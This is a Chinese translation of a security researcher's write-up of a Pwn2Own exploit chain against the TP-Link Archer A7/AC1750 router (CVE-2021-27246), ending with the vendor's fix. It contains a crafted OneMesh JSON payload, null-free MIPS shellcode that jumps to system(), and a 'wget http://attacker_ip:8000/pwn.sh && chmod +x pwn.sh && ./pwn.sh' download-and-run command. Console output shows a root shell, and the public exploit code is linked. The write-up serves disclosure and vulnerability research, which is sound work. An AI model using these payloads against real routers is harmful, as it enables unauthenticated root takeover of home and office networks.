对PWN2OWN上TP-LINK AC1750 路由器漏洞的利用分析
2021-05-24 10:26:08 Author: www.4hou.com(查看原文) 阅读量:158 收藏

本文介绍了TP-Link AC1750智能Wifi路由器中发现的预身份验证的远程执行代码漏洞。

该漏洞位于运行在TP-Link Archer A7(AC1750)路由器上的同步服务器守护程序中。攻击者可以通过路由器的LAN端远程利用此漏洞,而无需进行身份验证。同步服务器不响应网络请求,但会解析tdpServer守护程序写入共享内存中的某些数据。通过将精心选择的数据发送到tdpServer和适当的时间,可以在同步服务器中执行任意代码,并且攻击者获得具有最高特权级别的路由器的完全控制权。此漏洞的CVE编号为CVE-2021-27246

0x01 TDPserver 调试

在拿到测试设备(TP-Link C7 v5和TP-Link A7 v5)之后,我们想要获得一个shell并设置调试环境。可以很容易地找到4个普通的UART引脚并将其与它们的功能相关联,但是我们注意到该器件完全忽略了我们的按键操作。此行为在OpenWRT文档以及解决方案中进行了描述,将路由器的TX引脚焊接到正确的PCB迹线:

image-20210407180813669image-20210407180813669.png

我们使用buildroot配置正确的选项(例如BR2_MIPS_SOFT_FLOAT = y,BR2_TOOLCHAIN_BUILDROOT_LIBC =“ musl”)创建了MIPS32大端工具链,并编译了gdbserver,strace和包含大多数applet的busybox。

另外,还注意到TP-Link不会阻止固件降级,最终允许刷新具有已知漏洞的固件以在设备上root并简化进一步的漏洞研究。

在监听局域网的服务中,tdpServer是为了在Pwn2Own上进行研究和开发的。可以通过端口20002上的UDP访问此服务,该端口使用名为TDP的专有协议。至少有2个博客文章详细解释了TPD协议的工作原理:

· https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo

· https://labs.f-secure.com/advisories/tp-link-ac1750-pwn2own-2019/

该守护程序处理多种类型的TDP数据包并解析以JSON形式发送的数据。根据类型和操作码,可能需要使用硬编码的AES密钥或固定的XOR进行加密。数据包的报头具有固定的大小,payload如下:

typedef struct tdp_packet {
  uint8_t version; // fixed to 1
  uint8_t type; // 0xF8 is onemesh
  uint16_t opcode; // used by the onemesh main switch table
  uint16_t len; // packet length
  uint8_t flags; // some flags (fixed)
  uint8_t align; // struct alignment
  uint32_t sn; // serial number, any value
  uint32_t crc32; // packet checksum
  uint8_t payload[0x400] // payload, max 0x400 bytes, json format
} packet;

经过一些初步研究,我们没有发现tdpServer中的漏洞。我们仍然注意到,类型0xF8(OneMesh)的处理程序,操作码0x0007(slave_key_offer),在对输入数据(存储在字段payload中的JSON字典)进行验证之后,执行了进一步的操作,例如将数据添加到SHM段中。我们设计了一个payload来到达此代码路径,并决定继续分析此SHM的调用者:

{
  "method": "slave_key_offer",
  "data": {
    "group_id": "1",
    "ip": "1.3.3.7",
    "slave_mac": "00:11:22:33:44:55",
    "slave_private_account": "admin",
    "slave_private_password": "admin",
    "want_to_join": true,
    "model": "pwned",
    "product_type": "tplink",
    "operation_mode": "whatever",
    "signal_strength_24g": 2,
    "signal_strength_5g": 2,
    "link_speed_24g": 1,
    "link_speed_5g": 1,
    "level": 3,
    "connection_type": "whatever"
  }
}

0x02 漏洞挖掘

搜索导入了shmat的二进制文件后,我们确定了同步服务器。其目标是同步来自tdpServer的数据并在/ tmp中输出JSON文件,以供其他进程使用(例如,Web界面)。

定期调用_handle_request_clients_async函数并从tdpServer填充的共享内存中读取数据,并使用名为onemesh_listDevices的函数解析其内容:

int onemesh_listDevices(void **out,int param_2,int param_3)
{
// [...]
  pvVar1 = (void *)json_object_new_object();
  *out = pvVar1;
// [...]
    shm_addr = onemesh_attachSharedBuff();
    if (shm_addr != NULL) {
      current_shm_client = shm_addr;
// [...]
          uVar1 = json_object_new_string((char *)current_shm_client);
          json_object_object_add((int)pvVar2,"group_id",uVar1);
          uVar1 = json_object_new_string(current_shm_client->mac);
          json_object_object_add(pvVar2,"mac",uVar1);
          uVar1 = json_object_new_string(current_shm_client->ip);
          json_object_object_add(pvVar2,"ip",uVar1);
          uVar1 = json_object_new_string(current_shm_client->model);
// [...]

然后,它将两个字段(ip和mac)复制到包含64个slots的本地堆栈数组。可以注意到,这些值在数组中被两个两个地复制,通过迭代有效地填充了两个 slots。由于未执行绑定检查,因此包含32个以上设备的SHM将使该数组溢出,并允许使用指向堆空间的指针(SHM中的ip和mac字段的副本)覆盖$ fp和$ ra:

undefined4 _handle_request_clients_async(void)
{
  char *arr_ip_mac [64];                        // v;
            head = head->next;
            type = json_object_get_type(main_json_object);
            counter = i;
            if ((type != JSON_OBJECT) || (json_field_ip = (int)json_object_object_get(main_json_object,"ip"), json_field_ip == 0)) break;
            json_field_ip_ = json_object_object_get(main_json_object,"ip");
            json_type_mac = json_object_object_get(main_json_object,"mac");
            if ((json_field_ip_ == NULL) || (json_type_mac == NULL)) break;
            ip_as_str = json_object_get_string(json_field_ip_);
            counter = i + 1;
            arr_ip_mac[i * 2] = ip_as_str;      // <================= [2]
            mac_as_str = json_object_get_string(json_type_mac);
            arr_ip_mac[i * 2 + 1] = mac_as_str; // <================= [3]
            i = counter;
            if (head == NULL) goto LAB_00404b48;
          }
// [...]

调试日志有助于跟踪正在处理的OneMesh设备的数量,这是3个数据包已发送到tdpServer并由sync-server正确处理后的日志:

sync-server:_handle_request_clients_async:2494: [DBG] count is 3

将50个数据包发送到tdpServer并稍等片刻后,sync-server中发生崩溃:

root@ArcherC7v5:~# sync-server
[...]
sync-server:_handle_request_clients_async:2494: [DBG] count is 49
sync-server:_handle_request_clients_async:2503: [DBG] Infile: /tmp/sync-server/request-input-2046063169-25104
sync-server:_handle_request_clients_async:2508: [DBG] Outfile: /tmp/sync-server/request-output-1502619911-25104
Illegal instruction

0x03 Bypass 缓解措施

这个漏洞非常有趣:保存的寄存器不会被payload数据覆盖,而是会被指向受控数据的指针覆盖。这意味着当$ ra从堆栈中恢复时,它将自动指向受控数据!由于堆段是RWX,因此可以直接执行代码,而无需任何努力就可以绕过ASLR。动态分析表明$ ra从指向mac字段的指针恢复,这意味着我们可以将shellcode放入其中以查看其执行情况。

如前所述,在JSON字符串中发送的MAC地址必须通过JSON语法和格式检查器,从而将payload的每个字符限制为[0x00-0xff]范围的一小部分。编写shellcode可能很有趣,但是tdpServer将mac地址的大小限制为17个字节,因为MIPS指令的长度为4个字节。

通过研究JSON解析器,发现可以使用unicode编码(例如\ u00xx)来将集合[0x01-0xff]中的字节写入共享内存。这似乎不是合法的转义方法,但是可以运行并扩大了我们对共享内存中发送的数据的控制范围,剩下的唯一约束是避免空字节。

同步服务器在一个已知地址处导入了system()函数,因为二进制文件是在不使用PIE的情况下编译的,幸运的是,操作码不会包含任何空字节:

0C 10 07 14 jal system

因此,mac地址可以以“ \ u000c \ u0010 \ u0007 \ u0014”开头。

要运行的命令的地址应放在$ a0寄存器中(由于MIPS中的推测调用,因此应将其放在jal系统之后)。触发漏洞的程序状态有很大帮助,因为在函数结尾部分,一些寄存器从堆栈中恢复(寄存器$ s0到$ s7),并且堆栈中存在指向ip和mac的指针。$ s0到$ s7的寄存器将包含指向字符串的指针,这正是所需的。$ s2寄存器指向一个ip值,可以使用不包含任何空字节的操作码将$ s2移至$ a0:

02 40 20 25 move $a0,$s2

之后,$ a0指向完全受控的数据。我们使用的最终shellcode是“ \ u000c \ u0010 \ u0007 \ u0014 \ u0002 \ u0040 \ u0020 \ u0025”。

这样,就可以通过同步服务器执行命令,并且可以启动任意命令。实际上,由于tdpServer具有一种重复数据删除例程,因此将唯一值(单调计数器)附加到50个mac地址中的每个地址。使用此唯一的ID,可以保证所有数据都是唯一的,并将其推送到共享内存中。出于相同的避免重复数据删除的原因,相对而言,“ cmd; num_id”用作ip值。

易受攻击的函数称为“异步”,并且已观察到每80秒调用一次。攻击者必须发送数据,并等待80秒钟。

最后一个问题仍然存在:如何获取远程Shell?只能启动一个命令,因为同步服务器由于我们的shellcode而崩溃。该命令的长度很短,如果使用id,则为12个字节:“ cmd; num_id”,最多15个字节。由于没有telnetd或netcat,此时最好的方法似乎是启动tddp二进制文件,这是默认情况下未启动的调试后台驻留程序,并且存在历史漏洞(例如https:// mjg59)。 dreamwidth.org/51672.html)。

该脚本和漏洞利用程序已进行了少量调整,并在目标设备上执行了带有Lua绑定shell的命令注入。攻击受到注入命令的大小的限制,但是仍有足够的空间来下载shell脚本并执行该脚本:

wget http://attacker_ip:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh

这样,攻击者便获得了shell。由于所有守护程序都以root用户身份运行(tdpServer,sync-server和tddp),因此攻击者在设备上获得了最高级别的特权。

0x04 漏洞利用开发

我们将利用代码分为4个文件:

· exploit.sh:HTTP服务器的实例化,两个漏洞利用程序的编排等;

· tdpwn.py:关联文件;

· tdp.py:利用前面讨论的命令注入;

· pwn.sh:要在路由器上执行的命令(例如Lua绑定shell)。

Pwn2Own版本还通过写入/ sys / devices / platform / leds-gpio / leds / * / brightness捆绑了负责“ lightshow”的Lua脚本。

脚本可在GitHub上找到,网址https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020。将你的IP地址设置为192.168.0.100后,运行 exploit.sh 并等待足够的时间,就可以获得一个反向Shell:

$ bash exploit.sh 
[+] Launching web server for distribution of pwn.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
INFO:tdpwn:Associating 49 onemesh clients...
INFO:tdpwn:Done!
    And wait for 80 seconds...
80 seconds left...
70 seconds left...
60 seconds left...
50 seconds left...
40 seconds left...
30 seconds left...
20 seconds left...
10 seconds left...
[+] Trying to exploit the tddp injection
INFO:tdp:Preparing tddpv1_configset payload
INFO:tdp:Sending payload

[+] Trying the root shell (Low probability of success...)
nc -v 192.168.0.1 12345
nc: connect to 192.168.0.1 port 12345 (tcp) failed: Connection refused

[ ] If shell hasn't succeed, don't worry, we retry 

INFO:tdpwn:Associating 49 onemesh clients...
INFO:tdpwn:Done!
    And wait for 80 seconds...
80 seconds left...
70 seconds left...
60 seconds left...
50 seconds left...
40 seconds left...
30 seconds left...
20 seconds left...
10 seconds left...
[+] Trying to exploit the tddp injection
INFO:tdp:Preparing tddpv1_configset payload
INFO:tdp:Sending payload
192.168.0.1 - - [30/Nov/2020 12:10:59] "GET /pwn.sh HTTP/1.1" 200 -

[+] Trying the root shell (High probability of success...)
nc -v 192.168.0.1 12345
Connection to 192.168.0.1 12345 port [tcp/*] succeeded!
uname -a
Linux ArcherA7v5 3.3.8 #1 Mon Sep 14 19:52:46 CST 2020 mips GNU/Linux
id
uid=0(root) gid=0(root)
^C[-] Stopping Webserver, now
Terminated

对同步服务器没有任何控制,某些回调会定期启动以强制解析共享内存。除了等待,别无其他解决方案。还已经观察到,利用漏洞的首次启动几乎总是失败,因为同步服务器最初出于未知原因仅从共享内存中解析20到30个新设备,因此不会触发漏洞。为了提高可靠性,可以重新发起攻击,并且成功概率超过99%。如果再次失败,则第三次尝试就可以获取shell,该漏洞利用程序需要80秒才能唤醒计时器,从而使同步服务器唤醒,因此通常在160秒后会弹出一个shell。

0x05 漏洞修复

TP-Link已在其网站(https://www.tp-link.com/us/support/download/archer-c7/#Firmware)上发布了补丁,发行说明说:

Modifications and Bug Fixes:

1. Fix the vulnerabilities of modules such as OneMesh and IPv6 to enhance device security;
(...)

该漏洞已得到修复,在存在漏洞的函数中,检查该数组是否存在溢出:

 v13 = json_object_object_get(v11, "ip");
 v12 = json_object_object_get(v11, "mac");
 v14 = v12;
 if ( !v13 || !v12 || v10 >= 64 )
    break;

v10是ip和mac的计数器。这样,即使共享内存包含64个以上的对象,该数组也不会溢出。

这就是我们在TP-Link AC1750智能Wifi路由器上实现LAN侧预认证的RCE的方式。

本文翻译自:https://www.synacktiv.com/en/publications/pwn2own-tokyo-2020-defeating-the-tp-link-ac1750.html#如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/4V2J
如有侵权请联系:admin#unsafe.sh